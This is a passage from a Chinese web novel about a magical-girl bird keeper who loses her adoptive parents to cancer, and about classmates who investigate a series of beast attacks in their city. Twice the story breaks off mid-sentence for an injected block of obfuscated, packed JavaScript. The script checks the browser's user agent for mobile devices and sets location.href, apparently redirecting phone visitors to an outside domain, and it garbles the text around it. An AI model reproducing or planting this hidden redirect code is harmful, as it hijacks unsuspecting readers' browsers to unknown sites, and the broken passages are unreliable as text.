艾克里普知道对方为何这么问,人就是喜欢明知故问的,对方心里知道自己的鹦鹉绝对不会因为和同伴待在一起就消除与主人分别的悲伤,对方这么问不过是想从艾克里普这里讨来些许安慰,以缓解自己不得不丢下鹦鹉的愧疚和不舍。 既然如此一开始为何还要在自己不确定能活多久的情况下选择寿命很长的大型鹦鹉呢?艾克里普有些无奈了。 “可能吧。”她只能这样说。 “如果可以的话,真希望花花能一直开心下去,她只是只小鸟,她知道什么呢?”老人失落又期待地说,艾克里普一言不发地听着。 “拜托你们了。”老人忽然就看向艾克里普说,她的眼里闪烁着希望的光。 “…我们会尽力的!”艾克里普只能微笑着说,她确实能以“最好”的手段去养护这些鸟儿,甚至在它们受伤后使用魔法治愈,但她无法像老人一样爱它们。 “那就好,那就好。”老人说着,抚摸鹦鹉的头。 艾克里普逃也似的回到了店里,她不明白自己为何如此心虚,她本就不需要对那些鸟类的情绪问题负责,她已经做到了最好,甚至比最好还要好。 她可是魔法少女,城市的守护者,人类无法想象她的能力。 那老人离开后,绿色的鹦鹉迅速陷入了悲伤之中,夜藤夫妇接连几月的细心照料之下它才终于恢复了正常的进食。 这简直就是魔法,艾克里普心中忍不住惊叹,她明明做了和夜藤夫妇一模一样的动作,但就是没能产生任何效果,就像是学着魔法少女挥舞动作的普通人一样。 “艾克里普有交到朋友吗?”夜藤飞鸟问在餐桌上发起呆的艾克里普。 现在已经是艾克里普负责做饭了,好在这即使不需要魔法她也能完美做到,菜谱和手法与夜藤夫妇教她的一模一样,无论如何都不能说有哪里不一样。 “啊,您还在说这个啊。”艾克里普无奈地说,她现在外表是三十多岁的模样,已经与当时收留她的夜藤夫妇没了什么区别,是个青年了。 多年来她一直生活在夜藤事务所里,无论是店内的熟客还是周围店铺的人都已经习惯于将她视作为夜藤夫妇的后代。艾克里普知道这其中的区别,但夜藤夫妇没有表态,那她也不需要纠正。将这个情况一直维持下去对她而言是好事。 “无论什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706129|173535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候交朋友都不算晚,店里那些老顾客也不都是这样的吗?”夜藤飞鸟笑呵呵地说。 “没错,咳咳咳。”夜藤流云说着咳了起来,可能是这几天温差大的缘故,艾克里普给他倒了些茶。 “没关系啦,我不觉得有哪里不好的。”艾克里普说。 而夜藤夫妇对视了一样,双双叹了口气,没有再聊这个。 这次没有说时间还长呢,艾克里普心想,不过她的时间永远足够长就是了。 那几天温差大,夜藤流云咳嗽不止,送去附近的医院检查后又送去市区中心医院拍了片。 “肺癌,具体还要做更多的检查,不过已经出现呼吸困难的症状的话就先住院观察。”医生宣布了这一事实。 艾克里普完全无法理解人类为何会如此脆弱,她知道夜藤夫妇的作息有多健康,别说抽烟了,做饭使用的油烟都很少,而且二人才五十中旬,不到老年人常见的病发年龄段。 反倒是夜藤飞鸟,神色异常平静。 “是基因问题。”她叹了口气,“他自己应该也知道吧。” 基因,艾克里普心里重复这个她没有的东西。 大多数人是无法掌控自己什么时候死去,生什么病,擅长什么不擅长什么的。百分之三十交给基因,百分之三十交给生长环境,百分之三十交给父母的选择,最后百分之十才是人自己可以努力的余地。 而艾克里普知道夜藤夫妇为了这百分之十付出了多少,她不禁为人类的脆弱感到悲伤,做好了失去对方的准备。 “露出那副表情做什么?”夜藤流云问道,“我还能活久的很呢。” “这家伙还有的熬呢。”夜藤飞鸟也说。 艾克里普没有说话,但她心想,既然对方想活,那自己就应该帮忙,即是为了报答这几年的养育之恩,也是为了让她们的付出有个回报。 于是她许多次趁夜深人静的时候悄悄潜入医院为夜藤流云治疗,恢复他的生命力,虽然没办法阻止癌细胞的扩散,但能让他在对抗病魔时多一分力气。 于是多年来,艾克里普看着夜藤流云剃光头发,化疗,打吊瓶,被推进推出手术室,虚弱地说话,问她,“交到朋友了没有?”。 艾克里普害怕了,夜藤流云的病并不是她能治好的,他老了,而她知道人一旦开始老去就再也无法挽回了,而且他还生了病,病痛的模样令她感到恐惧。 人的生命是有定数的,遵循因果,我已经做到很好了,我不能也不应该去干涉人类的命运,人就是这样脆弱的,我没有办法。 我没有办法,艾克里普最后不得不承认这一点。 “抱歉,我,”她想要道歉,却被夜藤飞鸟打断了。 “那就再多试试看。”她笑着说,夜藤飞鸟也老了,最近也开始咳嗽了。 “…好的。”艾克里普只能这样说。 夜藤夫妇一同老去了,夜藤事务所的营业时间越来越短,艾克里普大多数情况下都是一个人看店。却依旧有人把自己的孩子往这里送,艾克里普收下一份又一份表格,心里越来越重。 “它们和同类待在一起真的会开心一点吗?”艾克里普问躺在病床上的夜藤飞鸟,她瘦了很多,头发也被剃光了。 “…会的,艾克里普。”但是她的声音一如既往地温柔。 “我会尽全力照顾它们的,但是,”艾克里普说,“但是这好像没有用,对不起,我不知道是哪里做的不对,可是。” 一个学徒事到如今才察觉到自己学艺不精似乎是有些太晚了,她以为自己能一直用魔法补足那些不起眼的差距。 “艾克里普,”夜藤飞鸟打断了艾克里普的自我辩解,“你已经做的很好了。” 是这样吗?艾克里普想要接受,因为她确实如此,可是。 “可是它们就是不开心,”艾克里普说,“和同伴待在一起也好,我抚摸它们也好,那些孩子就应该陪在它们的主人身边的。” “对啊,”夜藤飞鸟叹了口气,“鸟类彼此之间的关系与其说是同类,不如说是独立的相似的个体。她们太聪明了,哪怕不会说话,也能分辨出那个和自己叫声差不多的存在并不是自己的朋友。” 就是这样啊,艾克里普心中叹息。 “她们,太聪明了,咳咳咳。”夜藤飞鸟忽然咳了起来,“她们知道自己的主人爱着自己如同爱着孩子,咳咳咳,于是她们认为,这才是她们的同类,她们就是人类的孩子。” 艾克里普连忙给她倒水,夜藤飞鸟缓了很久终于喘过气了,她咳嗽时身体像是快散掉的骨架,看得艾克里普胆战心惊。 “艾克里普,要是能交到朋友就好了。”夜藤飞鸟说。 哦,原来是这样,艾克里普终于明白了,她被夜藤夫妇爱着。 并不是人类对自己同类的关爱,也不是出于怜悯的爱,而是对孩子的爱,她们知道自己寿命有限,而艾克里普却一直没能有一个能够交流的对象,一直是孤独的。 于是她们一直没有放弃,让这个一直与人类社会隔着一条线的孩子理解,她们是爱她的。哪怕没有找到朋友也没有关系,只要能理解这份爱是存在的,艾克里普就一定会在这个社会有着一席之地,她可以一直是夜藤夫妇爱着的孩子,是夜藤事务所的继承人。 这样的话,哪怕她们离开了,艾克里普也不会就这样彻底与社会断开联系。 哪怕她们并不知道艾克里普是什么样的人,一直没能得到艾克里普的回应,艾克里普也一直没能理解她们的感情,但是她们从来没有放弃过爱她。 “可是为什么呢?”艾克里普忍不住问了,她无法理解夜藤夫妇为什么会爱她这样一个没有血缘关系的人,甚至艾克里普觉得她们可能知道自己有着特殊之处,只是用普通的外表伪装着自己,实际上根本就不是人类。 “因为艾克里普是个好孩子,你的朋友一定会喜欢你的。”夜藤飞鸟说。 夜藤夫妇在第二年的春天逝世了,艾克里普的魔法让她们走的并不痛苦。死亡是在她愣神的一瞬间发生的事情,就像是没能抓住而摔碎的杯子。艾克里普尽力了,但基因就是这样无法改变的东西,人类就是这样的脆弱。 那些鸟儿们因为夜藤夫妇没有回来而感到悲伤,一部分在艾克里普的照顾下逐渐恢复了活力并且找到了新主人,一部分艾克里普完全没有办法。 但精神干涉魔法只是对人类禁止而已,艾克里普第一次对有智慧的生物使用精神魔法,她看着那些豆大的眼睛,轻轻地抚摸它们的额头。 “愿你们,能开心地活下去。”她说着,强行平复了它们的情绪。 随后艾克里普给它们找了新主人,翻新了事务所,就如她一开始想的那样。 “如果鸟类隔离语言和物种依旧能将人类视作朋友的话,那我也应该去试试。”艾克里普这样想着,决定正式踏入人类社会,与人类产生关系,交到朋友。 而想起不久前在游乐场的回忆,艾克里普忍不住笑了,她从未想过自己能遇到三个魔法少女,而且彼此还成为了朋友,虽然与一开始的目标不太一样,但结果是相同的。 她拥有了很好的朋友。 17. Ⅰ 2024年4月15日,星期一,天气晴。 上周末,多位市民向城市内多处警局报告称其目击有不知名野兽出现,并对城市安全造成威胁。西市区警察局局长表示高度重视,并已派遣警局刑警队调查处理该事件。同时,局长表示市区内常年出现不知名野兽,希望市长更加重视城市生态环境以安抚市民。 城市各处区域均有建筑出现毁坏,局长称该情况一直以来层出不穷,无法判断是否为野兽所为。现各损坏区域已封禁,城市交通部门呼吁市民关注交通信息,修复工作由鲸岛集团协助接管,将尽快完成工作。 本应覆盖治安盲区的照明系统,因传感器故障与合同纠纷,至今未上线。该项目原计划在东西市中心部署72个夜间自动光感路灯,但目前仍有超过40处无光照区。一名醉酒警官匿名表示:“某些巷口比海里还黑。” 东流湾区区域附属警察局警方在本周报告中指出,最近两周共发生13起由未成年人主导的打砸财物事件。警方表示大部分涉案青少年未辍学,而是“课余时间无监管”。市人类服务部门承诺将扩大“青少年留驻项目”投入。 白夜社代表天生目池元称新一轮慈善资助资金已筹备完毕并预备发放,此次扶助目标为近年数量愈发壮大的城市灾害受害群体,并保持以往对其余弱势群体的重视,将持续关注资金走向并保证监管。 中心绿地公园体育馆将于这周末迎接来自中西部城市的双人偶像组合“破冰者【星星符号】”的城市演唱会,望市民提前预定出行计划。 城市公共安全保卫部门称,望市民注意自身人身安全,少走夜路,若是遇到举动奇异的人一定远离并及时报告,切勿靠近或攀谈。 “早上好,晓!”有乐羽生来到教室后与座位上的犬山晓打招呼。 “早上好,羽生。”因为早上在操场进行晨练而早早就到了学校的犬山晓也回头打招呼,她总感觉对方变得有些不同了。但她也不知该如何描述,总之比开学那天她所见到的的有乐羽生不同得多,这倒也并不是一件坏事。 周一一如既往是学生与老师最忙的一天,有乐羽生心情相当好,这个双休日她的父母都不在家,虽然没有和她说明什么原因,但她也并不在意,甚至以往都必须待在家里挨饿的周日她都能跑出去玩。 “早上好啊二位。”艾克里普进入班级笑容温和地地与她们打招呼,她看上去已经从过山车的刺激中缓过来了。 “大家早上好!”森山寺未雅拉着森山寺未央几乎踩点进入班级,简单打了招呼后迅速在班主任进入教室之前落座,并极速收拾东西。 “好匆忙啊二位,起晚了吗?”有乐羽生看向正在匆忙整理文件的二人,她们头发都有些乱糟糟的。 “不是啦,我们起超级早。”森山寺未雅摇头。 “没错,我们一大早从东部市区赶过来的!”森山寺未央对于晨间交通心有余悸。 “没想到人这么多,真是小看了周一早高峰啊。”森山寺未雅的脸色非常不好看。 “我们双休日在父母家过夜,今天早上才回来。”森山寺未央解释说。 “原来是这样。”有乐羽生点点头,不禁想到自己因父母不在家而过得格外愉快的双休日,对和睦的家庭环境感到好奇。 “现在开始点名。”古河梦久进入教室后就没人敢说话了。 【说起来你们有看到今天的晨间新闻吗?】犬山晓在点名时提到。 【报纸吗?我没有订报纸的习惯,发生什么事了吗?】艾克里普想起自己无人问津的事务所门口,她连邮箱都没有,更别提买报纸了。 【什么新闻?】有乐羽生好奇道,她早上会听车内广播新闻,但今天并没有听到什么重要的事情。 【是不是那个关于野兽袭击的?早上我在手机上看到了!】森山寺未央想起来自己百忙之中也要玩手机的场景。 【对,就是那个,我也是在操场上听见其它同学在讨论这件事,】犬山晓说,【过去三周,市区区域附近的野兽袭击事件已造成至少6人死亡,有人甚至声称目击到了诡异生物在夜晚游荡,什么的。不过那些人很喜欢把事情往夸张的方向说,所以我也不知道到底如何。】 【这个听上去是不是有点像魔物?大多数情况下市警察局的工作人员都会把无缘由的建筑物倒塌和出现的受害者归为野兽或者□□行为,我也需要实地考察之后再做判断。】艾克里普产生了严重的怀疑。 【只有这个可能吧,城市里怎么会会有高危野兽?】森山寺未央说。 【这就奇怪了,我这周末都有出门,如果有这样的危险魔物不应该没看到。】有乐羽生皱眉说,【不过我的父亲母亲这个双休日确实很忙。】 【确实,我也没有发现有什么不明生物在伤人。】艾克里普就住在市区附近,自认为没可能放过这种魔物,但确实已经发生了多次她没能察觉到的情况,她有时甚至在想自己的魔力感知何时变得如此不敏锐了? 【总感觉应该另有一些隐情,】森山寺未央察觉到其中的不对劲,【疑点太多了都不知道从哪里开始说,为什么6人确定死亡了才开始急?之前一点消息都没有今天早上突然开始大面积讨论。市区内出现野兽为什么没有听到地区被封锁的消息?如果真的是野兽那我真的想不出有什么野兽能逃过监控连杀6人,如果是魔物那根本不可能被人目击到,魔物不会留下尸体。】 【确实啊!魔物不可能留下尸体。】有乐羽生恍然大悟,【而且虽然北部警署还是地方执法单位,但已经是最大的警察组织了,不可能会放着这种事情不管的。】 有乐羽生习惯于自家晚餐时间里父母提起公安系统时的贬低,本就不对这个政府组织作用抱有多少期待。但这里的警察权利分散,虽然不至于自治制,但不同的警察局之间差距还是很大的。 对于普通人来说这新闻是一则安全警告,但对于她们来说,这是新出现的目标。 【今天晚上大家都有空吗?如果那个野兽被抓起来了的话应该会马上全城通知,但显然没有。】犬山晓说,【我想在今晚追查野兽的下落,那个野兽如果还没被抓的话今晚应该也会行动,如果大家有空的话要不要一起去看看?】 【是的,我居然现在才发现这件事,无论是不是真的总要确认了之后再说。】艾克里普为自己的疏忽感到了自责,【是我太大意了。】 过往,艾克里普见过许多次有着相似的发展但实际上只是人类之间的政治斗争的事件,但每次她都会第一时间对真实情况进行确认,多次下来她已经能从现场情况快速判断出这到底是人为的还是真的有魔物作祟。 【我也可以,而且我根据受害者被发现的规律分析了一下发现它的行动很密集,今晚它有大概率会出现。】森山寺未央说。 【我也来,整件事都很可疑,以我们的力量能最快解决这件事。】有乐羽生感受到了一些急迫和兴奋,她为自己能用自己的方式为这座城市做些什么感到自豪。 【羽生,那个新闻在网络上可以搜到,你最好尽快看看。】犬山晓单独找有乐羽生说,【学校里有些人说话很难听,那些人什么都不知道,只是单纯的在捕风捉影用来说闲话,你不要放在心上。】 【哦谢谢,好的。】有乐羽生虽然不知道犬山晓为何这样说,但准备照做。 点名结束后晨会便结束了,有乐羽生趁机拿出手机搜索起了野兽伤人的新闻,她在本地新闻网站上找到了一篇晨间市政府会议的采访视频,迅速地点了进去。 “怪物出没?市长失职!市民愤怒抗议” 而报道最顶上的采访视频封面上发言的人正是有乐羽生的父亲。 昨日下午,数十名抗议者聚集在西部市区城市总部大楼前,要求市长作出解释,高呼“我们要真相,我们要安全!” 警方发言人西部市区警察局局长在昨日简短的记者会上表示,当前仍在调查,未发现野生动物出逃或异常生物活动的证据。但市民显然对此并不满意,许多人认为政府正试图掩盖真相。 与此同时,市长的老牌对手苍山景秀已公开发表声明,指责现任政府无能:“我们不需要一个只会开记者会的领导者,我们需要真正的行动!” 接下来是采访内容,视频太长,有乐羽生翻到字幕转录。 记者A:“市长先生,野兽袭击案件已经持续了三周,警方仍然无法抓获凶手,您能向市民保证他们的安全吗?” 市长:“首先,我要向所有受害者的家属表达最深切的哀悼。这起事件令人痛心,我们的执法部门正在不分昼夜地调查,确保将真相公之于众。市民的安全是我们政府的首要责任,我们绝不会容忍任何对公共安全的威胁。” 不用看视频,有乐羽生就能想到他父亲的眉头是如何恰到好处地皱到一起的,这番言论八成也是她的母亲提前准备好的。 记者B:“但警方至今没有找到证据,也没有公布嫌疑人名单。请问市政府是否在隐瞒什么?” 市长:“我理解大家的焦虑和愤怒,但我要再次强调,我们在全力调查,一切信息都会在合适的时间向公众透明公布。我们不能被恐慌驱使做出不负责任的决定,也不能凭空指责某个群体或个人。我可以向大家保证,我们不会袖手旁观,更不会纵容任何不法行为。” 记者C:“一些民众表示在夜间听到了奇怪的咆哮声,甚至有目击者称看到了类似怪物的生物。请问市政府是否考虑过调动军方资源?” 市长:“这正是我们当前调查的关键之一。我也听说了一些类似的传闻,但我们需要基于事实,而不是未经证实的恐慌。目前,我们正与动物保护部门、野生动物专家及各地执法机构合作,分析所有可能性,确保找到真相。我可以向大家保证,政府不会让任何谣言影响我们的判断,也不会让这座城市陷入混乱。” 这些专家八成与那些灰色地带的统治者们有关,有乐羽生心想。 记者D:“市长先生,您的对手指控您在掩盖某些信息?” 市长:“我相信,所有真正关心这座城市的人,都会希望在危机面前保持团结,而不是试图利用民众的恐慌来达到个人政治目的。我欢迎任何监督和质疑,但更希望大家关注事件的真相,而不是陷入不必要的政治斗争。” 接下来的内容有乐羽生没有再继续看下去了,她收起手机,收拾书本准备前去上课。 结合新闻,同伴的讨论,和部分自己的猜想,有乐羽生对目前的情况有了一定的了解,并对未来的发展有了一定的预料。这些预料同样也基于她对于自己父母的了解之上,她的父母因各种事务忙碌到没时间回家并非稀有现象。 无论是城市中出现无缘由的建筑物坍塌也好,不知名的野兽袭击也好,这些以往都无法解释或者会被推到□□成员头上的事务如今在她看来都有了解释。有乐羽生认为城市中大面积覆盖的摄像头记录下来的不过是表象,而只有她们能看到真实。 这样的想法让她不免对那些讨论表象的人产生了轻视。 稀有的现象在于隐瞒,有乐千奈没有用这件事教育有乐羽生,这才是有乐羽生感觉到了不合理的一点,其它的事件并没有让她感到多意外。 是故意如此的吗?有乐羽生不明白为何母亲独独要瞒着自己这件事,而且事到如今她也还是知道了。这样的想法夹杂着这段时间以来对魔法少女使命的思考,有乐羽生认为自己没有必要,也不应该继续在意这些事情。 她是魔法少女,这件事有概率与魔物相关,那么她就会行使自己的职责。而母亲的隐瞒与同学的探讨都与她无关,她们要做的事也与她无关。 有乐羽生站在楼梯口,耳边却开始捕捉到一些若隐若现的窃窃私语。她并不想听,但那些话语像是带着钩子的细线,一点点钻进她的意识里,挥之不去。 “那则新闻,你们看到了吗?那些话说的我都听不下去了,大人都是这样的吗?还是说只有她的父母是这样的?” 有乐羽生脚步一顿,她想起了晚餐时间的经历。 “是啊,还是说那些大人们根本就不在乎那些死去的人?” 她知道那些人在说什么,就像犬山晓说的那样,她们什么都不知道。她假装没听见继续往前走,然而夹杂着嬉笑声的议论并没有停止,反而变得更加放肆,回荡在教学楼走廊,仿佛某种看不见的绊脚绳。 “而且说真的,她以前看起来那么完美难不成是装出来的不成?但是她成绩也好,这总不能是装的吧,这也不好说。不过高中一开学她怎么会变成这样?” 这句话是谁说的?这个问题对有乐羽生来说已经不重要了,那些被她定义为同伴之外的存在此时统统被归为一个整体,名为“普通人”。她意识到,普通人议论她的从前,普通人讨论她的表象,普通人没有资格去理解真正的她。 若是放在以往,都不需要有乐羽生去反应什么,这样的话根本无法传到作为学生会干部的她的耳朵里。不说向往她追捧她的人了,学生会成员根本不会允许其它人讨论这件事,比如说天生目白。 但是,有乐羽生想,她不该在乎那些普通人的讨论,也不该在乎普通人的看法,毕竟那些普通人不知道真相也不会去追查真相。事件的后续被澄清后那些普通人也绝无为此时的言论向她道歉的可能,因为她们已经习惯了这样去做去说。 走廊外是朗朗晴空,有乐羽生看向窗外,忽然就想要飞到天上。 这些普通人算什么?她摇了摇头,不再理会那些声音。 下午的选修体育课上,犬山晓换上运动服后在操场上热身,她心里想着一些事,表现得心不在焉,但好在即使是这样她的动作也因为一直以来的练习而表现得非常标准。 这种时候到底是该怎么做呢?犬山晓苦恼着。如果一个人的朋友正在被欺负,那么这个人为朋友出气似乎是正常的事情。可有乐羽生的身份特殊,她所经历的事情也非常特殊,犬山晓有心想干涉却又无从下手。 这种情况下什么都不做比较好吗?想办法安慰一下她比较好吗?还是说果然要做些什么,可到底该怎么做呢?安慰的话要怎么说才比较好呢?犬山晓想着这些不免叹气。 她并非是感受不到有乐羽生难过,只是就连有乐羽生自己都表现得对于这些事云淡风轻的模样。那作为朋友的她到底是应该配合着什么都不去做,还是说去做些什么。 去做些什么到底是指的什么?说到底犬山晓根本就不知道该如何安慰一个人,她能做的不过是劝说对方去休息,或者问一句:你还好吗? 但这样绝对是不够的吧?犬山晓的内心愈发地混乱了。休息谁都知道休息,好还是不好问了又不会发生改变,但如果这样的事都不说的话那她还算是一个朋友吗?那好的朋友该怎么做才能像个好朋友一样呢?把那些说话的人都解决了的话事情会迎来好转吗? “犬山同学?”体育老师疑惑地看向愣在原地的犬山晓,“热身动作结束了,今天练习耐力跑,去跑道上集合。” “好的!”犬山晓应了一声,甩甩头跟上了队伍。 日之森的室外操场跑道为四百米,一旁还有篮球场和室内体育馆,平时谁都可以来这里进行运动,器材室内的器械也对外开放租借使用。 “第一次400米,不计时,不能走。”体育老师站在一旁吹响了口哨。 犬山晓以自己平时晨练的速度不紧不慢地跑了起来,一边跑一边想自己的事情。 这时,身边有人靠近,犬山晓以为是有同学想换跑道,于是略微加速离开了原地。 第一圈就这样结束了,大部分同学都没表现得有多累,体育老师见状点了点头,让大家休息五分钟后准备计时跑。而犬山晓在拿水杯时发现操场旁的观众台上坐着一个眼熟的人。 那是森山寺未央,不对,犬山晓发现对方身上没有魔力气息,所以这是森山寺未雅。虽然说对方这个时候没有课想去哪里都可以,但这里并不是一个好的休息场所,观众席的椅子是坚硬的金属材质,没有桌子,这里信号也不好。 虽然有心想询问,但体育老师已经在吹口哨了,犬山晓想了想先去跑道上集合。 “这一圈计时,注意体力的分配,结束之后要慢步走,不要立即喝水。”体育老师嘱咐了一番之后吹响了口哨。 因为想去和森山寺未雅聊天,犬山晓以领头的速度跑完了全程,她有意没有超过身后的人太远,但不知为何,她转过头后看到了对方是一副非常生气的表情。 “滴。”体育老师按下了计时器,“一分零八,表现相当不错啊,下次可以再加把劲。” “好的老师。”犬山晓点了点头,回头去找森山寺未雅了。 看见有人来找自己,森山寺未雅点了点头问好。 “森山寺同学是对体育社团感兴趣吗?”犬山晓好奇问道。 “不,只是这里人比较少,我不想去图书馆那种人多的地方。”森山寺未雅简单地解释了一番,“你倒是一下子就认出我是谁了啊,犬山同学。” “哈哈,我喊森山寺同学就是因为没认出来你是哪一位。”犬山晓笑着说,心想森山寺未雅观察力真是敏锐,和森山寺未央一模一样。 “这一点上我可是不会看错的哦。”森山寺未雅笑了笑,那是与森山寺未央一模一样的弧度,“你跑的很快嘛,跟在你后面的那个人都要气绝了都没能追上你。” “咦?”犬山晓愣了愣,“气绝?” “喂,你,”她的身后传来了气喘吁吁的声音,“你说谁要气绝,了啊?” 这人明显就是有点喘不上气了,观众席为了方便观看草地上的比赛设置得很高,森山寺未雅还是坐在最顶上的那排,跑完四百米再爬楼梯对她来说明显是力不从心的。 “你这家伙故意的吧?”那人看见犬山晓疑惑地回答更加生气了。 “什么?”犬山晓一时不知道对方是生气还是在挑衅,她不知道自己做了什么,但对方看上去真的很生气,她求助地看向森山寺未雅,却看见对方正看向远方发呆。 “什么什么啊?你不是故意在溜我吗?故意跑在我前面五米让我追?!”那人更生气了,说话都连贯了起来,“你以为我不知道吗?你这小个子就是故意的吧?!” 被骂个子矮的犬山晓并没有生气,毕竟她知道自己个字确实不算高,但她还是不理解对方为什么在生气,她确实是根据身后的人的速度跑步的。再说追不上不追不就行了吗?犬山晓不理解这人在不满什么。 “我不是故意的。”犬山晓义正言辞地说,她不认为自己有错。 “你就是!”那人不依不饶,还看向了森山寺未雅,“喂,你也说句话啊,这不是故意的还能是什么?” 被点名了的森山寺未雅回过头来看向二人,犬山晓觉得她回头的一瞬间产生了与森山寺未央截然不同的感觉,但很快这种感觉就消失了。 “问我干什么?有问题就问老师啊。”森山寺未雅不满地说,“不过确实有人会故意这样消耗身后的人的体力就是了。” “对吧?”得到支持的那人理直气壮了起来,“还说你不是故意的?给我道歉!至少要正式对着田径课的所有人对我九十度弯腰大喊“前原千早对不起”三次啊!” 犬山晓一时语塞,她这才知道原来还有这种事情。但这又不是比赛,她也并不是故意的啊?不对,她就是故意根据身后人的速度跑步的,不过她又不知道这人会这样追自己。 她意识到这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706130|173535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样的话好像自己确实应该道歉,毕竟对方累成这个样子算是自己害的,不过自己怎么跑到底是和后面的人有什么关系啊? 道歉吗?不道歉吗?这里到底该怎么做?正常人的话会道歉吗?正常来说学生是选择礼让一些比较好的吧?可是前原千早真的不是在找茬吗?犬山晓内心产生了极大的困惑。 “我说你啊,只是在因为自己没跑过她发脾气吧?”森山寺未雅开口说道,“你确实一开始跑的很快,但明显后面耐力就跟不上了。你第一次就想超过犬山同学但是被她避开了,你很不甘心吧,看见自己比不过的人低头就让你这么开心吗?” “额!”前原千早一副被梗住的样子,“关,关你什么事啊偷窥狂!” “一开始是你开口叫我的吧半吊子。”森山寺未雅看了眼犬山晓,毫不留情地回嘴。 “啧,总之你记住,这件事没完。”前原千早放下了狠话转身就跑了,下楼梯时差点摔了。 犬山晓看着她被气跑,感觉自己学到了新东西。 “别学比较好,至少别说是从我这里学的。”森山寺未雅说。 “啊?总之谢谢你为我说话。”犬山晓挠了挠头,感到有些不好意思。 “不客气,毕竟你一看就是只会动口不会动手的人。”森山寺未雅摆了摆手,站起身。 “要走了吗?我们一会还有拉伸运动。”犬山晓问道。 “要走了,以后也不会来了,那家伙你自己想办法解决吧。动手比较方便的话那样做就好,拜拜。”森山寺未雅摆了摆手和犬山晓道别。 “拜拜?”犬山晓不明所以地和森山寺未雅道别。 看着对方离去的背影,犬山晓隐约觉得对方似乎确实与森山寺未央在某些方面有着不同。但这种不同的感觉出现或许只是因为她们不算熟悉?犬山晓不确定。 毕竟森山寺未央对于其它那些她不算熟悉的人似乎也是这副不太想搭话,也不太想产生联系的样子。而她对于乐队几人表现出的分享欲和热情大概是因为几人和她一样是魔法少女,天然就带有亲切感。 但即使不是魔法少女,犬山晓也想和森山寺未央这样的人做朋友的,所以她看着森山寺未雅离开,心里有些遗憾。 随即想到前原千早,犬山晓又头疼了起来。 白日里的上课时间过去了,放学后,几人分别与各自的相关人士说好,然后前往社团活动室。有乐羽生得知自己的父母今晚也不会回家,她其实并不意外她们两个并不在意自己的孩子在学校里会被如何议论,这也是她的试炼的一部分。 接受流言蜚语,保持内心的平和,处理好一切,让所有人闭嘴,这是有乐千奈教育有乐羽生的原话,她要做的事情里不包括为这些事情生气。这长期的教育也是有乐羽生能快速处理自己不好的情绪的基础。 “虽然没有见过尸体,但毕竟报道里说是野兽作案,那尸体不会太完整好看。”森山寺未央介绍自己的思绪,“未雅说如果她是凶手就会藏在动物园或者马戏团里,她觉得凶手是人哦,不过这也不是完全不可能的啦。” “如果是人的话,作案人的目的是什么呢?”犬山晓思考着,“虽然说这件事确实是被那些人用来吵架了,总不能只是单纯的政治斗争吧。” “这件事充其量是管理不够严格产生的疏漏,真要追责的话惩罚会在好几个人中平分,或者最后干脆找个替罪羊,以前的新闻里不都是这样的吗?我不认为谁会想单独花大力气做这种事。”森山寺未央思考着说。 “是的,这个程度的事情以前发生了很多次了,尤其是在市区。”有乐羽生也觉得并不是简单的政治斗争,“我们现在也不知道细节,只知道这个野兽有一定概率是魔物。” “如果真的是魔物的话反而好处理点,”艾克里普忧心地说,“毕竟再怎么说魔物都会露出踪迹,就怕这件事是有心之人作案,那我们就不该插手了。” “不过我们只需要阻止有新的受害人出现就好,也就是解决野兽问题本身。”有乐羽生点头微笑着说,“大人们总有自己的理由和目的,我们只要做自己能做到的。” “我今天也听见很多人说羽生坏话,”艾克里普担心地说,“真是悲哀,那些人都不是真的在乎受害者和城市的安危,我看得出来的。” “古河老师虽然让大家不要议论同学,但在我们班级以外的地方就没办法了。”犬山晓皱眉,“我抓了些人问,很多人其实也不是真的讨厌羽生,只是随波逐流而已。” “不是真的讨厌吗?那就太好啦,那这件事过去了之后学校里的大家也不会有多排斥羽生本人的。”森山寺未央庆幸地说道。 “谢谢大家,”有乐羽生笑了,“我对于这里的人再了解不过,对于这种事情也再了解不过,比起我,大家还是先一起想办法找出犯人吧!” 她明白学校里并不是没有善良的人,大部分人只不过是想趁着“贬低有乐羽生”这股东风一鼓作气和某些人说上共同话题,从而达到自己的目的而已,她对这种事见怪不怪。她曾经没有主动去管过这种事情,但也没考虑过自己该如何面对这样的事情,但事情真的发生了后她比自己想象中的还要无所谓些。 “我觉得我们可以从受害人下手。”森山寺未央积极动脑,“绝对能找到一些线索。” “我们能从受害人下手吗?受害者大部分都被隐瞒了身份信息,而且正常来说有可能现在已经被火化了一部分吧。”犬山晓犹豫地说。 “这种大型刑事案件的受害人只要被查清了身份就会在警察那里留下一些档案,并且有很大概率被法医拉去解剖。”森山寺未央想起自己小时候看的刑侦片,“而且说是确认了六具尸体,但实际上真正被找到的尸体可能更多,不过没有被找出身份或者被认定与该案件相关而已。” “这样来说我们应该先找到负责这个案件的警察。”艾克里普思索着,“不过这个人现在应该很忙。” “没错,”森山寺未央在手机上搜索了一会,“这件事由西部市区市警察局北部警署的刑侦队负责,市警察局局长也老是跑出来说话但她明显没在干活吧。你们看这个新闻,虽然没有直接说明,但背景里的这几个人明显在负责调查这件事。” 几人看手机屏幕,“野兽伤人事件新受害者发现”新闻的网页内容中有部分照片拍到了一些人,虽然看不出是警服,但明显训练有素并且规划着什么。 